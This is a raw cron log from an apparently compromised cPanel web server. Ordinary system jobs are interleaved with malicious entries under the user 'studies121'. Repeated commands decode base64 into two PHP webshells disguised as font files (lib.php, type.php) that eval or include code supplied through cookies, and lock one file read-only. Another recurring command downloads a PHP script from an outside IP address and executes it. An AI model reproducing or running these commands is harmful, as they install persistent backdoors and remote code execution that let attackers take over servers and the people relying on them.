Sep  3 12:00:02 ip-184-168-122-23 CROND[688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:00:02 ip-184-168-122-23 CROND[689]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:00:02 ip-184-168-122-23 CROND[690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:00:02 ip-184-168-122-23 CROND[691]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 12:00:02 ip-184-168-122-23 CROND[694]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  3 12:01:01 ip-184-168-122-23 CROND[813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:01:01 ip-184-168-122-23 CROND[815]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 12:01:01 ip-184-168-122-23 CROND[820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:01:01 ip-184-168-122-23 CROND[824]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 12:01:01 ip-184-168-122-23 CROND[821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:01:01 ip-184-168-122-23 CROND[822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[815]: starting 0anacron
Sep  3 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[834]: finished 0anacron
Sep  3 12:02:01 ip-184-168-122-23 CROND[973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:02:01 ip-184-168-122-23 CROND[975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:02:01 ip-184-168-122-23 CROND[976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:02:01 ip-184-168-122-23 CROND[977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:02:01 ip-184-168-122-23 CROND[978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:03:01 ip-184-168-122-23 CROND[1077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:03:01 ip-184-168-122-23 CROND[1079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:03:01 ip-184-168-122-23 CROND[1080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:03:01 ip-184-168-122-23 CROND[1081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:04:01 ip-184-168-122-23 CROND[1383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:04:01 ip-184-168-122-23 CROND[1386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:04:01 ip-184-168-122-23 CROND[1389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:04:01 ip-184-168-122-23 CROND[1388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:04:01 ip-184-168-122-23 CROND[1390]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1869]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1870]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1871]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:05:01 ip-184-168-122-23 CROND[1872]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1873]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 12:05:01 ip-184-168-122-23 CROND[1874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:06:01 ip-184-168-122-23 CROND[2079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:06:01 ip-184-168-122-23 CROND[2081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:06:01 ip-184-168-122-23 CROND[2083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:06:01 ip-184-168-122-23 CROND[2082]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:06:01 ip-184-168-122-23 CROND[2084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:07:01 ip-184-168-122-23 CROND[2296]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:07:01 ip-184-168-122-23 CROND[2299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:07:01 ip-184-168-122-23 CROND[2300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:07:01 ip-184-168-122-23 CROND[2298]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:08:01 ip-184-168-122-23 CROND[2555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:08:01 ip-184-168-122-23 CROND[2557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:08:01 ip-184-168-122-23 CROND[2558]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:08:01 ip-184-168-122-23 CROND[2559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:08:01 ip-184-168-122-23 CROND[2560]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:09:01 ip-184-168-122-23 CROND[2757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:09:01 ip-184-168-122-23 CROND[2756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:09:01 ip-184-168-122-23 CROND[2758]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 12:09:01 ip-184-168-122-23 CROND[2759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:09:01 ip-184-168-122-23 CROND[2760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:10:01 ip-184-168-122-23 CROND[3018]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 12:10:01 ip-184-168-122-23 CROND[3022]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3028]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3025]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3026]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:10:01 ip-184-168-122-23 CROND[3027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:11:01 ip-184-168-122-23 CROND[3260]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 12:11:01 ip-184-168-122-23 CROND[3262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 12:11:01 ip-184-168-122-23 CROND[3265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 12:11:01 ip-184-168-122-23 CROND[3266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:12:01 ip-184-168-122-23 CROND[3402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 12:12:01 ip-184-168-122-23 CROND[3404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
